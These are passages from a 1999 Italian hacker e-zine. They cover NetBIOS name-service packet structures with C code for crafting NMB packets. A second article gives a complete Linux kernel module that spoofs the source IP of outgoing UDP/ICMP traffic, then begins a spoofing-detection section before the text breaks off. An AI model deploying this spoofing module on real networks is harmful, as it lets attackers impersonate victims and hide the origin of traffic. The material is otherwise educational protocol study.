RECORD Rimane da capire come e' stutturato un Resource Record... chiariamo subito che: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ANSWER RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / AUTHORITY RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / ADDITIONAL RESOURCE RECORDS / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Questa parte del disegnetto iniziale viene risolta con un puntatore a struttura, il quale contiene i seguenti membri: 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | / RR_NAME / / / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | RR_TYPE | RR_CLASS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TTL | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | RDLENGTH | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | / / / RDATA / | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (se pensavate di non dover piu' incontrare questi disegnetti dopo tcp/udp/icmp/ip o che gia' li' ce ne fossero troppi... :) RR_NAME Il mitico nome psichedelico gia' presente nella question entry ... con campo QUESTION_NAME . RR_TYPE Il tipo di codice: A 0x0001 IP address Resource Record NS 0x0002 Name Server Resource Record NULL 0x000A NULL Resource Record NB 0x0020 NetBIOS general Name Service Resource Record NBSTAT 0x0021 NetBIOS NODE STATUS Resource Record RR_CLASS 0x0001 come nelle question entries in QUESTION_CLASS : IN 0x0001 Internet class TTL Time To Live ... vi dovrebbe gia' essere familiare :) RD_LENGTH Lunghezza di RDATA. RDATA Dipende da RR_DATA e da RR_TYPE. La struttura che otteniamo e' quindi la seguente: struct res_rec { struct nmb_name rr_name; int rr_type; int rr_class; int ttl; int rdlength; char rdata[MAX_DGRAM_SIZE]; }; E possiamo definire answer, authority e additional resource records cosi': struct res_rec *answers; struct res_rec *nsrecs; //authority struct res_rec *additional; Abbiamo cosi' completato la spiegazione del primo schema, quello che vi avevo detto di tener bene a mente... :) Possiamo ora costruire un pacchetto mettendoci tutto quanto dentro: struct nmb_packet { struct { int name_trn_id; int opcode; BOOL response; struct { BOOL bcast; BOOL recursion_available; BOOL recursion_desired; BOOL trunc; BOOL authoritative; } nm_flags; int rcode; int qdcount; int ancount; int nscount; int arcount; } header; struct { struct nmb_name question_name; int question_type; int question_class; } question; struct res_rec *answers; struct res_rec *nsrecs; struct res_rec *additional; }; Se date un'occhiata all'rfc1002 (questo testo non e' una sua sostituzione per chi e' troppo pigro per leggere in inglese (magari con un po' di culo trovate anche una versione italiana)) all'inizio viene detto che e' mantenuta la compatibilita' con quanto presente nell'rfc883 ed in effetti i campi delle struct dovrebbero farvi tornare alla mente un DoS scritto da FuSyS e |scacco| nel numero 6 di BFi. +---------------------+ | Header | +---------------------+ | Question | the question for the name server +---------------------+ | Answer | answering resource records (RRs) +---------------------+ | Authority | RRs pointing toward an authority +---------------------+ | Additional | RRs holding pertinent information +---------------------+ Questo sta alla base del name service e lo stesso header gode di compatibilita' attenendosi il piu' possibile al seguente header (rfc883): 1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ID | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |QR| Opcode |AA|TC|RD|RA| | RCODE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QDCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ANCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | NSCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ARCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ Inserisco la spiegazione dei campi in inglese come da rfc tanto capite :) (o ci arrivate da quelli che ho presentato sopra nel NetBIOS): ID - A 16 bit identifier assigned by the program that generates any kind of query. This identifier is copied into all replies and can be used by the requestor to relate replies to outstanding questions. QR - A one bit field that specifies whether this message is a query (0), or a response (1). OPCODE - A four bit field that specifies kind of query in this message. This value is set by the originator of a query and copied into the response. The values are: 0 a standard query (QUERY) 1 an inverse query (IQUERY) 2 an completion query allowing multiple answers (CQUERYM) 2 an completion query requesting a single answer (CQUERYU) 4-15 reserved for future use AA - Authoritative Answer - this bit is valid in responses, and specifies that the responding name server is an authority for the domain name in the corresponding query. TC - TrunCation - specifies that this message was truncated due to length greater than 512 characters. This bit is valid in datagram messages but not in messages sent over virtual circuits. RD - Recursion Desired - this bit may be set in a query and is copied into the response. If RD is set, it directs the name server to pursue the query recursively. Recursive query support is optional. RA - Recursion Available - this be is set or cleared in a response, and denotes whether recursive query support is available in the name server. RCODE - Response code - this 4 bit field is set as part of responses. The values have the following interpretation: 0 No error condition 1 Format error - The name server was unable to interpret the query. 2 Server failure - The name server was unable to process this query due to a problem with the name server. 3 Name Error - Meaningful only for responses from an authoritative name server, this code signifies that the domain name referenced in the query does not exist. 4 Not Implemented - The name server does not support the requested kind of query. 5 Refused - The name server refuses to perform the specified operation for policy reasons. For example, a name server may not wish to provide the information to the particular requestor, or a name server may not wish to perform a particular operation (e.g. zone transfer) for particular data. 6-15 Reserved for future use. QDCOUNT - an unsigned 16 bit integer specifying the number of entries in the question section. ANCOUNT - an unsigned 16 bit integer specifying the number of resource records in the answer section. NSCOUNT - an unsigned 16 bit integer specifying the number of name server resource records in the authority records section. ARCOUNT - an unsigned 16 bit integer specifying the number of resource records in the additional records section. Vi riporto una parte del DoS: killer.head.id=getpid(); killer.head.rd=1; killer.head.aa=0; killer.head.opcode=QUERY; // definito in arpa/nameser.h killer.head.qr=0; killer.head.qdcount=htons(1); killer.head.ancount=htons(0); killer.head.nscount=htons(0); killer.head.arcount=htons(0); Se volessimo settare in modo identico su una struct del netbios: nmb.header.name_trn_id=getpid(); // per come settare questo val guarda // l'esempio del main() dopo... nmb.header.nm_flags.recursion_desired = True; nmb.header.nm_flags.authoritative = False; nmb.header.opcode = 0x0; // lo stesso valore di QUERY nmb.header.response = False; nmb.header.qdcount=htons(1); nmb.header.ancount=htons(0); nmb.header.nscount=htons(0); nmb.header.arcount=htons(0); Il campo RCODE nell'header del NetBIOS puo' assumere gli stessi valori definiti in arpa/nameser.h fino al quinto, poi ci sono quelli specifici per il NetBIOS: #define NOERROR 0 #define FORMERR 1 #define SERVFAIL 2 #define NXDOMAIN 3 #define NOTIMP 4 #define REFUSED 5 Corrispondono a: FMT_ERR 0x1 Format Error. Request was invalidly formatted. SRV_ERR 0x2 Server failure. Problem with NBNS, cannot process name. IMP_ERR 0x4 Unsupported request error. Allowable only for challenging NBNS when gets an Update type registration request. RFS_ERR 0x5 Refused error. For policy reasons server will not register this name from this host. In piu' (ovviamente non li trovate in nameser.h): ACT_ERR 0x6 Active error. Name is owned by another node. CFT_ERR 0x7 Name in conflict error. A UNIQUE name is owned by more than one node. Bene... siamo ora in grado di parlare al signore che vive alla porta 137 dell'indirizzo localhost :) Ora vi includo un semplice sorgente da completare/modificare a vostro piacimento (non includo dos per non farvi combinare casini... pero' vi dico subito che c'e' da divertirsi :) tra jokes e dos...). ---------- snip ---------- /* nmb_comp_decomp.c -- es. extract of nat10 ***************************************************************************** ** piccolo sorgente per i vostri programmini contro l'uomo della 137esima ** ** porta.. questo codice non e' altro che un estratto del nat10 .. con le ** ** strutture necessarie per creare pacchetti e convertire i nomi psichede- ** ** lici del NetBIOS ... bauz ** ** nota: alla fine ho aggiunto pure il supporto per l'omino della 138 ... ** *****************************************************************************/ #include #include #include #include #include #include #include #include #include //checka se sta qui #include #include typedef unsigned short uint16; typedef unsigned int uint32; #define MAX_DGRAM_SIZE 576 #define PTR_DIFF(p1,p2) ((ptrdiff_t)(((char *)(p1)) - (char *)(p2))) #define ptrdiff_t int #define GMT_TO_LOCAL (-1) // LE SEGUENTi MACRO SONO BUONE PER PROCESS0Ri INTEL // PUOi CAMBIARLE GUARDANDO byteorder.h #define SVAL(buf,pos) (*(uint16 *)((char *)(buf) + (pos))) #define IVAL(buf,pos) (*(uint32 *)((char *)(buf) + (pos))) #define SVALS(buf,pos) (*(int16 *)((char *)(buf) + (pos))) #define IVALS(buf,pos) (*(int32 *)((char *)(buf) + (pos))) #define SSVAL(buf,pos,val) SVAL(buf,pos)=((uint16)(val)) #define SIVAL(buf,pos,val) IVAL(buf,pos)=((uint32)(val)) #define SSVALS(buf,pos,val) SVALS(buf,pos)=((int16)(val)) #define SIVALS(buf,pos,val) IVALS(buf,pos)=((int32)(val)) #define SREV(x) ((((x)&0xFF)<<8) | (((x)>>8)&0xFF)) #define IREV(x) ((SREV(x)<<16) | (SREV((x)>>16))) /*-----------------------------------------------------------*/ #define RSVAL(buf,pos) SREV(SVAL(buf,pos)) #define RIVAL(buf,pos) IREV(IVAL(buf,pos)) #define RSSVAL(buf,pos,val) SSVAL(buf,pos,SREV(val)) #define RSIVAL(buf,pos,val) SIVAL(buf,pos,IREV(val)) typedef enum BOOLEAN { False, True } BOOL; enum node_type {B_NODE=0, P_NODE=1, M_NODE=2, NBDD_NODE=3}; enum packet_type {NMB_PACKET, DGRAM_PACKET}; typedef char fstring[128]; typedef fstring string; typedef char pstring[1024]; // DATI DA MODIFICARE A SECONDA DELLE ESiGENZE pstring scope = ""; #define NMB_PORT 137 #define NAME "BAU" #define ADDRESS "192.168.1.xxx" int name_type = 0x20; // guarda i valori su rfc1002 int num_good_sends = 0; // Strutture che abbiamo incontrato nel testo struct nmb_name { char name[17]; char scope[64]; int name_type; }; struct dgram_packet { struct { int msg_type; struct { enum node_type node_type; BOOL first; BOOL more; } flags; int dgm_id; struct in_addr source_ip; int source_port; int dgm_length; int packet_offset; } header; struct nmb_name source_name; struct nmb_name dest_name; int datasize; char data[MAX_DGRAM_SIZE]; }; struct nmb_packet { struct { int name_trn_id; int opcode; BOOL response; struct { BOOL bcast; BOOL recursion_available; BOOL recursion_desired; BOOL trunc; BOOL authoritative; } nm_flags; int rcode; int qdcount; int ancount; int nscount; int arcount; } header; struct { struct nmb_name question_name; int question_type; int question_class; } question; struct res_rec *answers; struct res_rec *nsrecs; struct res_rec *additional; }; struct res_rec { struct nmb_name rr_name; int rr_type; int rr_class; int ttl; int rdlength; char rdata[MAX_DGRAM_SIZE]; }; /* Struttura utilizzata per mandare sia i pacchetti per il name server del NetBIOS che i datagrammi sulla porta 138 Notate come si addice questa struct ad una union per l'nmb e il dgram */ struct packet_struct { struct packet_struct *next; struct packet_struct *prev; struct in_addr ip; int port; int fd; time_t timestamp; enum packet_type packet_type; union { struct nmb_packet nmb; struct dgram_packet dgram; } packet; }; // PROTOTiPI DELLE FUNZIONi PIU' USATE static BOOL handle_name_ptrs(unsigned char *ubuf,int *offset,int length, BOOL *got_pointer,int *ret); static int parse_nmb_name(char *inbuf,int offset,int length, struct nmb_name *name); static int build_nmb(char *buf,struct packet_struct *p); static int put_res_rec(char *buf,int offset,struct res_rec *recs,int count); static int put_nmb_name(char *buf,int offset,struct nmb_name *name); static BOOL send_udp(int fd,char *buf,int len,struct in_addr ip,int port); static int build_dgram(char *buf,struct packet_struct *p); int name_mangle(char *In,char *Out,char name_type); char *StrnCpy(char *dest,const char *src,int n); int name_len(char *s); void strupper (char * s); void make_nmb_name(struct nmb_name *n,char *name,int type,char *this_scope); BOOL send_packet(struct packet_struct *p); void putip(void *dest,void *src); // Il vostro programma int main() { // bla bla bla return 0; } static BOOL handle_name_ptrs(unsigned char *ubuf,int *offset,int length, \ BOOL *got_pointer,int *ret) { int loop_count=0; while ((ubuf[*offset] & 0xC0) == 0xC0) { if (!*got_pointer) (*ret) += 2; (*got_pointer)=True; (*offset) = ((ubuf[*offset] & ~0xC0)<<8) | ubuf[(*offset)+1]; if (loop_count++ == 10 || (*offset) < 0 || (*offset)>(length-2)) { return(False); } } return(True); } static int parse_nmb_name(char *inbuf,int offset,int length, struct nmb_name *name) { int m,n=0; unsigned char *ubuf = (unsigned char *)inbuf; int ret = 0; BOOL got_pointer=False; if (length - offset < 2) return(0); /* handle initial name pointers */ if (!handle_name_ptrs(ubuf,&offset,length,&got_pointer,&ret)) return(0); m = ubuf[offset]; if (!m) return(0); if ((m & 0xC0) || offset+m+2 > length) return(0); bzero((char *)name,sizeof(*name)); /* the "compressed" part */ if (!got_pointer) ret += m + 2; offset++; while (m) { unsigned char c1,c2; c1 = ubuf[offset++]-'A'; c2 = ubuf[offset++]-'A'; if ((c1 & 0xF0) || (c2 & 0xF0)) return(0); name->name[n++] = (c1<<4) | c2; m -= 2; } name->name[n] = 0; if (n==16) { /* parse out the name type, its always in the 16th byte of the name */ name->name_type = name->name[15]; /* remove trailing spaces */ name->name[15] = 0; n = 14; while (n && name->name[n]==' ') name->name[n--] = 0; } /* now the domain parts (if any) */ n = 0; while ((m=ubuf[offset])) { /* we can have pointers within the domain part as well */ if (!handle_name_ptrs(ubuf,&offset,length,&got_pointer,&ret)) return(0); if (!got_pointer) ret += m+1; if (n) name->scope[n++] = '.'; if (m+2+offset>length || n+m+1>sizeof(name->scope)) return(0); offset++; while (m--) name->scope[n++] = (char)ubuf[offset++]; } name->scope[n++] = 0; return(ret); } int name_mangle(char *In,char *Out,char name_type) { fstring name; char buf[20]; char *in = (char *)&buf[0]; char *out = (char *)Out; char *p, *label; int i; if (In[0] != '*') { StrnCpy(name,In,sizeof(name)-1); sprintf(buf,"%-15.15s%c",name,name_type); } else { buf[0]='*'; memset(&buf[1],0,16); } *out++ = 32; for (i=0;i<16;i++) { char c = toupper(in[i]); out[i*2] = (c>>4) + 'A'; out[i*2+1] = (c & 0xF) + 'A'; } out[32]=0; out += 32; label = scope; while (*label) { p = strchr(label, '.'); if (p == 0) p = label + strlen(label); *out++ = p - label; memcpy(out, label, p - label); out += p - label; label += p - label + (*p == '.'); } *out = 0; return(name_len(Out)); } char *StrnCpy(char *dest,const char *src,int n) { char *d = dest; if (!dest) return(NULL); if (!src) { *dest = 0; return(dest); } while (n-- && (*d++ = *src++)) ; *d = 0; return(dest); } int name_len(char *s) { char *s0=s; unsigned char c = *(unsigned char *)s; if ((c & 0xC0) == 0xC0) return(2); while (*s) s += (*s)+1; return(PTR_DIFF(s,s0)+1); } void strupper (char * s) { register unsigned int c; while (*s) { c = (unsigned int) *s; if (islower (c)) *s = toupper (c); s++; } } /* strupper */ void make_nmb_name(struct nmb_name *n,char *name,int type,char *this_scope) { strcpy(n->name,name); strupper(n->name); n->name_type = type; strcpy(n->scope,this_scope); } BOOL send_packet(struct packet_struct *p) { char buf[1024]; int len=0; bzero(buf,sizeof(buf)); switch (p->packet_type) { case NMB_PACKET: len = build_nmb(buf,p); break; case DGRAM_PACKET: len = build_dgram(buf,p); break; } if (!len) return(False); return(send_udp(p->fd,buf,len,p->ip,p->port)); } static int build_nmb(char *buf,struct packet_struct *p) { struct nmb_packet *nmb = &p->packet.nmb; unsigned char *ubuf = (unsigned char *)buf; int offset=0; /* put in the header */ RSSVAL(ubuf,offset,nmb->header.name_trn_id); ubuf[offset+2] = (nmb->header.opcode & 0xF) << 3; if (nmb->header.response) ubuf[offset+2] |= (1<<7); if (nmb->header.nm_flags.authoritative) ubuf[offset+2] |= 0x4; if (nmb->header.nm_flags.trunc) ubuf[offset+2] |= 0x2; if (nmb->header.nm_flags.recursion_desired) ubuf[offset+2] |= 0x1; if (nmb->header.nm_flags.recursion_available) ubuf[offset+3] |= 0x80; if (nmb->header.nm_flags.bcast) ubuf[offset+3] |= 0x10; ubuf[offset+3] |= (nmb->header.rcode & 0xF); RSSVAL(ubuf,offset+4,nmb->header.qdcount); RSSVAL(ubuf,offset+6,nmb->header.ancount); RSSVAL(ubuf,offset+8,nmb->header.nscount); RSSVAL(ubuf,offset+10,nmb->header.arcount); offset += 12; if (nmb->header.qdcount) { /* XXXX this doesn't handle a qdcount of > 1 */ offset += put_nmb_name((char *)ubuf,offset,&nmb->question.question_name); RSSVAL(ubuf,offset,nmb->question.question_type); RSSVAL(ubuf,offset+2,nmb->question.question_class); offset += 4; } if (nmb->header.ancount) offset += put_res_rec((char *)ubuf,offset,nmb->answers, nmb->header.ancount); if (nmb->header.nscount) offset += put_res_rec((char *)ubuf,offset,nmb->nsrecs, nmb->header.nscount); if (nmb->header.arcount) offset += put_res_rec((char *)ubuf,offset,nmb->additional, nmb->header.arcount); return(offset); } static int put_nmb_name(char *buf,int offset,struct nmb_name *name) { int ret,m; fstring buf1; char *p; if (name->name[0] == '*') { /* special case for wildcard name */ bzero(buf1,20); buf1[0] = '*'; } else { sprintf(buf1,"%-15.15s%c",name->name,name->name_type); } buf[offset] = 0x20; ret = 34; for (m=0;m<16;m++) { buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF); buf[offset+2+2*m] = 'A' + (buf1[m]&0xF); } offset += 33; buf[offset] = 0; if (name->scope[0]) { /* XXXX this scope handling needs testing */ ret += strlen(name->scope) + 1; strcpy(&buf[offset+1],name->scope); p = &buf[offset+1]; while ((p = strchr(p,'.'))) { buf[offset] = PTR_DIFF(p,&buf[offset]); offset += buf[offset]; p = &buf[offset+1]; } buf[offset] = strlen(&buf[offset+1]); } return(ret); } static int put_res_rec(char *buf,int offset,struct res_rec *recs,int count) { int ret=0; int i; for (i=0;ipacket.dgram; unsigned char *ubuf = (unsigned char *)buf; int offset=0; /* put in the header */ ubuf[0] = dgram->header.msg_type; ubuf[1] = (((int)dgram->header.flags.node_type)<<2); if (dgram->header.flags.more) ubuf[1] |= 1; if (dgram->header.flags.first) ubuf[1] |= 2; RSSVAL(ubuf,2,dgram->header.dgm_id); putip(ubuf+4,(char *)&dgram->header.source_ip); RSSVAL(ubuf,8,dgram->header.source_port); RSSVAL(ubuf,12,dgram->header.packet_offset); offset = 14; if (dgram->header.msg_type == 0x10 || dgram->header.msg_type == 0x11 || dgram->header.msg_type == 0x12) { offset += put_nmb_name((char *)ubuf,offset,&dgram->source_name); offset += put_nmb_name((char *)ubuf,offset,&dgram->dest_name); } memcpy(ubuf+offset,dgram->data,dgram->datasize); offset += dgram->datasize; /* automatically set the dgm_length */ dgram->header.dgm_length = offset; RSSVAL(ubuf,10,dgram->header.dgm_length); return(offset); } static BOOL send_udp(int fd,char *buf,int len,struct in_addr ip,int port) { BOOL ret; struct sockaddr_in sock_out; /* set the address and port */ bzero((char *)&sock_out,sizeof(sock_out)); putip((char *)&sock_out.sin_addr,(char *)&ip); sock_out.sin_port = htons( port ); sock_out.sin_family = AF_INET; ret = (sendto(fd,buf,len,0,(struct sockaddr *)&sock_out, sizeof(sock_out)) >= 0); if (ret) num_good_sends++; return(ret); } void putip(void *dest,void *src) { memcpy(dest,src,4); } ---------- snip ---------- Vediamo un esempio di costruzione ed invio di un pacchetto sulla porta 137 ( il main() nel cod sopra per intenderci) - Apertura di un socket... non ve la spiego va :) - Definizione delle strutture: struct packet_struct p; struct nmb_packet *nmb = &p.packet.nmb; (notate che la seconda struttura e' un puntatore alla struttura nmb interna alla prima) struct packet_struct { struct packet_struct *next; struct packet_struct *prev; struct in_addr ip; int port; int fd; time_t timestamp; enum packet_type packet_type; union { // ottimo esempio di union!! struct nmb_packet nmb; <--- questa :) struct dgram_packet dgram; } packet; }p; - Possiamo ora riempire i dati attraverso nmb in base a quanto stabilito nell'rfc1002 e a seconda, naturalmente, di quello che vogliamo fare. Prendo come es. una funzione del nat: if (!name_trn_id) name_trn_id = (time(NULL)%(unsigned)0x7FFF) + (getpid()%(unsigned)100); name_trn_id = (name_trn_id+1) % (unsigned)0x7FFF; nmb->header.name_trn_id = name_trn_id; nmb->header.opcode = 0; nmb->header.response = False; nmb->header.nm_flags.bcast = False; nmb->header.nm_flags.recursion_available = CanRecurse; nmb->header.nm_flags.recursion_desired = recurse; nmb->header.nm_flags.trunc = False; nmb->header.nm_flags.authoritative = False; nmb->header.rcode = 0; nmb->header.qdcount = 1; nmb->header.ancount = 0; nmb->header.nscount = 0; nmb->header.arcount = 0; make_nmb_name(&nmb->question.question_name,name,name_type,scope); nmb->question.question_type = 0x21; nmb->question.question_class = 0x1; p.ip = to_ip; // to_ip struttura di tipo in_addr p.port = NMB_PORT; p.fd = fd; p.timestamp = time(NULL); p.packet_type = NMB_PACKET; Notate la make_nmb_name() che mette il nome in GRANDE :) se avete usato qualche volta il tcpdump per monitorare il NetBIOS non sarete sorpresi... - Inviare il pacchetto: if (!send_packet(&p)) return(False); Ok, fatto... -- WINDOWS -- In Windows, nell'implementazione che ho visto io, la parte relativa al name server e' inclusa a tutto il resto :) in una classe chiamata CNCB molto valida, ma usata piu' che altro come copertura di NCB e forse troppo poco giocherellabile: class CNCB { private: NCB m_NCB; public: // Constructor CNCB(); // Helper function void ClearNCB(); UCHAR GetLSN(); WORD GetLength(); void Fill(CNCB ncbSource); void GetCommand(); // Name management services UCHAR AddName(PSTR pName); UCHAR AddGroupName(PSTR pName); UCHAR DeleteName(PSTR pName); UCHAR FindName(); // Data transfer services UCHAR Call(PSTR pWe,PSTR pTheOther,UCHAR wSendTO,UCHAR wRecvTO); UCHAR Listen(PSTR pWe,PSTR pTheOther,UCHAR wSendTO,UCHAR wRecvTO); UCHAR Hangup(UCHAR wSessionNumber); // Connectionless data transfer UCHAR Cancel(); UCHAR Send(UCHAR wSessionNumber,LPSTR lpPacket, UINT wLength); UCHAR SendNoAck(); UCHAR SendDatagram(UCHAR wSessionNumber,LPSTR lpPacket, WORD wLength); UCHAR SendBroadcastDatagram(); UCHAR Receive(UCHAR wSessionNumber,LPSTR lpPacket, UINT wLength); UCHAR ReceiveAny(); UCHAR ReceiveDatagram(UCHAR wSessionNumber,LPSTR lpPacket, WORD wLength); UCHAR ReceiveBroadcastDatagram(); UCHAR ChainSend(); UCHAR ChainSendNoAck(); // General-purpose services UCHAR Reset(UCHAR wSessions, UCHAR wNCBs); UCHAR GetAdapterStatus(PSTR pName); UCHAR GetSessionStatus(PSTR pName); UCHAR EnumerateAdapters(); UCHAR StatusAlert(); UCHAR Action(); }; // Name management services UCHAR AddName(PSTR pName); UCHAR AddGroupName(PSTR pName); UCHAR DeleteName(PSTR pName); UCHAR FindName(); Ecco qui quello che resta del nostro povero nameserver... 4 funzioncine membro che fanno tutto loro... Rimane il punto di domanda se conviene farsi la propria struttura o usare questa classe... dipende da cosa dovete fare :) Sicuramente ci sta un po' stretta... Per i curiosi la classe NCB e' definita in NC20.h come segue: typedef struct _NCB { UCHAR ncb_command; /* command code */ UCHAR ncb_retcode; /* return code */ UCHAR ncb_lsn; /* local session number */ UCHAR ncb_num; /* number of our network name */ PUCHAR ncb_buffer; /* address of message buffer */ WORD ncb_length; /* size of message buffer */ UCHAR ncb_callname[NCBNAMSZ]; /* blank-padded name of remote */ UCHAR ncb_name[NCBNAMSZ]; /* our blank-padded netname */ UCHAR ncb_rto; /* rcv timeout/retry count */ UCHAR ncb_sto; /* send timeout/sys timeout */ void (CALLBACK *ncb_post)( struct _NCB * ); /* POST routine address */ UCHAR ncb_lana_num; /* lana (adapter) number */ UCHAR ncb_cmd_cplt; /* 0xff => commmand pending */ UCHAR ncb_reserve[10]; /* reserved, used by BIOS */ HANDLE ncb_event; /* HANDLE to Win32 event which */ /* will be set to the signalled */ /* state when an ASYNCH command */ /* completes */ } NCB, *PNCB; Ad ogni modo gran parte del codice UNiX e' portabile pure su win... con ovvie modifiche. Ok credo basti: non c'e' molto da dire sul name server e poi ormai il NetBIOS tendera' a morire... Questo e' solo un articolo in suo ricordo... Ciao netbios: sarai sempre nei nostri cuori :* ;D E' tutto baubau pIGpEN ============================================================================== ---------------------------------[ EOF 7/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-08100777 1750 144 26373 7031215207 11776 0ustar smasterusers============================================================================== -------------[ BFi numero 7, anno 2 - 25/12/1999 - file 8 di 22 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ SP00FiNG & SP00FiNG DETECTi0N ViA LKM FR0M A LiNUX B0X - pIGpEN Oggetti particolari: Una bottiglia di cocacola versata in tazzina tekno-cola-sciamana con porcellino disegnato e scritta BIG PIG ... presto disponibile in jpg su www.s0ftpj.org Tastiera tekno-geo-lunare tratta dal sudato libro scolastico: Scienze della TERRA ridotto volontariamente ad un collage Eventi particolari: Nella scrittura del syslog.c che risale a prima dello scopo di questo articolo mi sono imbattuto in un baiocco, lasciato su una delle due casse, che e' stato prontamente mangiato... Visto che non avevo comprato baiocchi nella settimana dell'accaduto e che non ci sono tracce in cucina di altri suoi compari suppongo che sia stato vecchio IMPORTANTE!!!! CONCORSO BiSCOTTi PIU' MANGIATI DAL S0FTPJ: - Primo premio attribuito al PALICAO! - Ultimo premio alle fottute pannocchie mangiate da nellozzolo e kobino :P - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Questo semplice articolo dimostra in poco spazio (perche' tra poco sono a cena) come sia possibile spoofarsi direttamente dal kernel tramite lkm e come sia possibile scoprire un tentativo di spoofing nel proprio sistema da parte di un utente... Entrambi questi metodi si basano sulla struttura sk_buff utilizzata prima di me gia' da kossak, lifeline e chissa' quanti altri a cominciare ovviamente dagli sviluppatori del kernel stesso (Alan Rulez!!) In particolare tale struttura serve in questi 2 casi per agire sul livello di rete che, basandosi sui protocolli utilizzati comunemente su internet, sara' un iphdr... struct sk_buff { ...... // NETWORK LAYER union { struct iphdr *iph; struct ipv6hdr *ipv6h; struct arphdr *arph; struct ipxhdr *ipxh; unsigned char *raw; } nh; ...... }; Useremo quindi per i nostri scopi iph, a meno che non cazzeggiate con ipx o altro. Chi ha detto che lo spoofing, in senso letterale, non sia applicabile ad altri protocolli? ...Anzi ;P 1 - Spoofare i pacchetti uscenti, via Linux Network Layer ----------------------------------------------------- Qui si tratta di accettare un ip come input e di spoofare tutti i messaggi destinati a quell'ip con un ip vittima dato dall'utente... Ecco qui una semplice implementazione per udp/icmp: ---------- snip ---------- /* * SP00FiNG 0UTG0iNG PACKETS ViA LiNUX NETW0RK LAYER * ------------------------------------------------- * * This is a linux kernel module to spoof from your box every udp/icmp outgoing * packet with destination = dstip * * If you wanna see output you have to sniff msg in machine * or if it's in your network you have to put your network interface * in promisc mode * * Compile with: gcc -O6 -c spoof.c -I/usr/src/linux/include * * Usage: insmod spoof dstip=192.168.1.1 spoofip=192.168.1.3 [dev=eth0] * * Every udp/icmp packet with destination=192.168.1.1 will be spoofed with * source=192.168.1.3 * * Use it only for phun ... not for illegal purposes * * Based on the artice "Building Into The Linux Network Layer" written by * kossak and lifeline (Phrack vol.9, issue 55, file 12 of 19) * * pIGpEN * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include char *dev,*dstip,*spoofip; MODULE_PARM(dev, "s"); MODULE_PARM(dstip, "s"); MODULE_PARM(spoofip, "s"); struct packet_type s_proto; struct device *d; /* net/ipv4/utils.c */ __u32 in_aton(const char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i = 0; i < 4; i++) { l <<= 8; if (*str != '\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } int otp_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { //skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4; switch(skb->nh.iph->protocol) { case IPPROTO_ICMP: if(skb->nh.iph->daddr==in_aton(dstip)) skb->nh.iph->saddr=in_aton(spoofip); break; case IPPROTO_UDP: if(skb->nh.iph->daddr==in_aton(dstip)) skb->nh.iph->saddr=in_aton(spoofip); break; default: break; } return 1; } int init_module() { if(!dstip || !spoofip) { printk("Usage: insmod spoof dstip=x.x.x.x spoofip=x.x.x.x [dev=devname]\n\n"); return -ENXIO; } if (dev) { d = dev_get(dev); if (!d) { printk("Did not find device %s!\n", dev); printk("Using all known devices..."); } else { printk("Using device %s, ifindex: %i\n", dev, d->ifindex); s_proto.dev = d; } } else printk("Using all known devices(wildcarded)...\n"); s_proto.type = htons(ETH_P_ALL); s_proto.func = otp_func; dev_add_pack(&s_proto); return(0); } void cleanup_module() { dev_remove_pack(&s_proto); printk("Module unloaded\n"); } ---------- snip ---------- Chiaramente se ci interessera' vedere la risposta dovremo sniffare i pacchetti dalla vittima e se questa appartiene alla nostra rete puo' darsi che basti mettere la propria interfaccia in modalita' promiscua; in tutti gli altri casi dovrete avere accesso alla box vittima ed uno sniffer che giri su di essa. Visto che non e' stato scritto per scopi illegali non vi dico come adattare al meglio questo sorgente... :P 2 - Scoprire tentativi di spoofing dalla propria macchina ----------------------------------------------------- Questo sorgente e' effettivamente in grado di farlo, ma va modificato nel caso la vostra macchina abbia piu' di un ip. E' semplice farlo: lascio a voi il compito di adattarlo... Anche in questo caso il concetto e' piuttosto intuitivo: si controlla semplicemente che i pacchetti uscenti dalla propria macchina non abbiano ip sorgente diverso dal proprio ip e da 